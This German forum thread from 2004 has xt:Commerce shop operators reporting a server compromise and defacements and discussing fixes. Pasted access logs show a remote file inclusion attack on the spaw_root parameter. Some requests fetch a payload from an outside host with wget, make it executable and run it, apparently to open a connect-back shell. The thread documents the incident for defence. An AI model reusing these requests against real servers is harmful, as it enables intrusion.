celeron Posted June 13, 2004 Report Share Posted June 13, 2004 Hallo, heute Nacht wurde unser Server (1&1 ManagedServer) gehackt. Der Einstieg wurde lat Logdatei aus einem XTC Shop vorgenommen. Bitte die XTC Admins mit mir in Verbindung zusetzen. Hier scheint ein gro?es Sicherheitloch zu existieren. Ich sende Euch dann die Logdatei zu. Gru? celeron Link to comment Share on other sites More sharing options...
celeron Posted June 13, 2004 Author Report Share Posted June 13, 2004 ?ber die Datei GET /admin/includes/classes/spaw/spaw_control.class.php?spaw_root ist es dem Angreifer m?glich Zugriff auf den Server zu bekommen. Soweit mal der letzte Stand. Gru? celeron Link to comment Share on other sites More sharing options...
Matthias Posted June 13, 2004 Report Share Posted June 13, 2004 HI, meinen Shop hats auch mit erwischt, so wie es aussieht hat der Angreifer aber keinerlei Schaden gemacht sondern nur den Hinweis hinterlassen das er da war. mfg Matthias Link to comment Share on other sites More sharing options...
celeron Posted June 13, 2004 Author Report Share Posted June 13, 2004 Schaden hat er bei uns in der Hinsicht auch nicht angestellt. Nur bei ?ber 100 Kundenseiten die Index.HTML Seite mit Seiner Visitenkarte ?berschrieben. Gru? celeron Link to comment Share on other sites More sharing options...
mobilland Posted June 13, 2004 Report Share Posted June 13, 2004 bei mir ist auch nichts passiert Link to comment Share on other sites More sharing options...
Smarti Posted June 13, 2004 Report Share Posted June 13, 2004 Hallo Leute kann das sein das es was mit euren einstellungen von PHP zu tun hat zb : open_basedir und Safe Mode off gru? Thomas Link to comment Share on other sites More sharing options...
dukie6666 Posted June 13, 2004 Report Share Posted June 13, 2004 bei mir wurde die index.php mit einer leeren datei ersetzt Link to comment Share on other sites More sharing options...
mzanier Posted June 13, 2004 Report Share Posted June 13, 2004 folgende zeile in die /admin/includes/classes/spaw/spaw_control.class.php if (preg_match("/http:\/\//i", $spaw_root)) die ("can't include external file"); vor den includes einf?gen. ich bringe gleich ein fix f?r den editor. Link to comment Share on other sites More sharing options...
celeron Posted June 13, 2004 Author Report Share Posted June 13, 2004 Hallo, kannst Du uns evt. kurz Beschreiben wie der Hacker vorgegangen ist. Au?er das er wahrscheinlich die Seiten ?ber dieses Forum gefunden hat. Hat er mit einem Script schreibrechte in anderen Verzeichnissen bekommen !! Sind die Einstellungen open_basedir und Safe Mode off mit diesem Problem auch in Verbindung zu setzen ? Was macht deine Fixpackage dicht ? Gru? celeron Link to comment Share on other sites More sharing options...
mzanier Posted June 13, 2004 Report Share Posted June 13, 2004 http://www.xt-commerce.com/modules/mydownl...p?cid=31&lid=85 Link to comment Share on other sites More sharing options...
Chrysler Posted June 13, 2004 Report Share Posted June 13, 2004 wie schauts denn mit der DB aus? Du hatten ja sicherlich auch zugriff auf die configure - muss man seine passw?rter alle ?ndern? Und k?nnten die nicht modifizierte Dateien eingespielt haben, die bspw. Passw?rter an die weitermailt? Link to comment Share on other sites More sharing options...
mzanier Posted June 13, 2004 Report Share Posted June 13, 2004 habt ihr serverlogs mit ip usw ? es handelt sich hier mit sicherheit um einen forenuser. Link to comment Share on other sites More sharing options...
Chrysler Posted June 13, 2004 Report Share Posted June 13, 2004 200.226.6.0 Link to comment Share on other sites More sharing options...
Smarti Posted June 13, 2004 Report Share Posted June 13, 2004 na super Daten zu 200.226.6.0 Abfrage Link to comment Share on other sites More sharing options...
khan_thep Posted June 13, 2004 Report Share Posted June 13, 2004 Nat toll, kaum kommt man vom Lago di Garda Urlaub, schiesst einem die bl?sse ins Gesischt: 200.151.189.107 - - [12/Jun/2004:08:48:02 +0200] "GET admin/includes/classes/spaw/spaw_control.class.php?spaw_root=http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id HTTP/1.0" 400 428 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)" 200.151.189.107 - - [12/Jun/2004:08:48:02 +0200] "GET admin/includes/classes/spaw/spaw_control.class.php?spaw_root=http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id HTTP/1.0" 400 428 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)" 200.151.189.107 - - [12/Jun/2004:08:48:03 +0200] "GET admin/includes/classes/spaw/spaw_control.class.php?spaw_root=http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id HTTP/1.0" 400 428 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)" 200.151.189.107 - - [12/Jun/2004:08:54:43 +0200] "GET admin/includes/classes/spaw/spaw_control.class.php?spaw_root=http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id HTTP/1.0" 400 428 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)" 200.151.189.107 - - [12/Jun/2004:08:54:44 +0200] "GET admin/includes/classes/spaw/spaw_control.class.php?spaw_root=http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id HTTP/1.0" 400 428 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)" 200.151.189.107 - - [12/Jun/2004:08:54:45 +0200] "GET admin/includes/classes/spaw/spaw_control.class.php?spaw_root=http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id'>http://www.kfhi.or.kr/agen-cmd?&cmd=id HTTP/1.0" 400 428 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)" 200.151.189.107 - - [12/Jun/2004:08:59:17 +0200] "GET /admin/includes/classes/spaw/spaw_control.class.php?spaw_root=http://www.averdade.org/sh.ib?&cmd=id;uname%20-a HTTP/1.1" 200 3252 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 200.151.189.107 - - [12/Jun/2004:08:59:35 +0200] "GET /admin/includes/classes/spaw/spaw_control.class.php?spaw_root=http://www.averdade.org/sh.ib?&cmd=cd%20/tmp/;wget HTTP/1.1" 200 3123 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 200.151.189.107 - - [12/Jun/2004:09:00:41 +0200] "GET /admin/includes/classes/spaw/spaw_control.class.php?spaw_root=http://www.averdade.org/sh.ib?&cmd=cd%20/tmp/;wget%20www.kfhi.or.kr/dc.txt;chmod%20711%20dc.txt;./dc.txt%20200.151.189.107%20666 HTTP/1.1" Eingabe in den URI ergibt: Innocent Boys Crew Warning: main(): stream does not support seeking in /home/www/web/html/admin/includes/classes/spaw/spaw_control.class.php on line 16 Sieht so aus, als ob der Server dicht gemacht h?tte. Link to comment Share on other sites More sharing options...
dukie6666 Posted June 13, 2004 Report Share Posted June 13, 2004 bei mir diese ip: 201.4.113.146 Abfrage Link to comment Share on other sites More sharing options...
celeron Posted June 13, 2004 Author Report Share Posted June 13, 2004 Bei mir ist es auch diese gewesen 201.4.113.146. Gru? celeron Link to comment Share on other sites More sharing options...
Hubi Posted June 13, 2004 Report Share Posted June 13, 2004 register_globals=off w?r auch ne gute Idee f?r so manchen Server. Ihr solltet bei eurem Hoster darauf bestehen, dass der das abschaltet. XTC arbeitet im Gegensatz zu so manch anderem Shop mit dieser einstellung, dann sollte die auch gemacht werden, zumal es der Sicherheit nur zugute kommen kann. Link to comment Share on other sites More sharing options...
khan_thep Posted June 13, 2004 Report Share Posted June 13, 2004 Eben, mit den register_globals ist das leck dicht. Frage: der Fix besteht aus: if (preg_match("/http:\/\//i", $spaw_root)) die ("can't include external file"); Die Hacker k?nnen aber auch die Files ?ber FTP reinholen!!! Link to comment Share on other sites More sharing options...
mzanier Posted June 13, 2004 Report Share Posted June 13, 2004 im fix ist ebenso eine htacess f?r das includes/ verzeichnis enthalten, dadurch kein zugriff mehr von aussen auf die files. Link to comment Share on other sites More sharing options...
khan_thep Posted June 13, 2004 Report Share Posted June 13, 2004 Klar, damit machst Du nat?rlich alles dicht. Link to comment Share on other sites More sharing options...
peteristda Posted June 13, 2004 Report Share Posted June 13, 2004 @ all Von: World4You Internet Services GmbH [mailto:[email protected]] Gesendet: Freitag, 04. Juni 2004 08:00 Betreff: Ihr Webserver Sehr geehrter Kunde! Es gab leider heute Morgen Hackangriffe auf ihren Webserver. Deshalb kommt es im Moment zu Unterbrechungen. Wir arbeiten mit Hochdruck daran, damit ihre Website wieder online ist und bitten um Ihr Verstaendnis. ----------- hatte dem nicht allzuviel bedeutung zugemessen, zumal war ich um 11 wieder on, lass aber mal ne mail los, dass ich n?chere infos bekomme. lg peter Link to comment Share on other sites More sharing options...
webkasper Posted June 13, 2004 Report Share Posted June 13, 2004 Mann o mann ... da kann man nicht mal in Ruhe den Geburtstagskater auskurieren... Bei mir wars auch folgende IP: 201.4.113.146 hatte auch die Index durch ne leere Index ersetzt, grgrgrg ciao, der webkasper Link to comment Share on other sites More sharing options...
celeron Posted June 14, 2004 Author Report Share Posted June 14, 2004 Hallo, gibt mal in Google "ir4dex" ein. Ihr bekommt als Suchergebniss eine unendliche Liste von gehackten Seiten. Das sin diejenigen die unser Server gehackt haben. Gru? celeron Link to comment Share on other sites More sharing options...
Mickes_ast Posted June 14, 2004 Report Share Posted June 14, 2004 Hallo, hab dazu folgenden Link gefunden Net-Friends.de Mickes Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.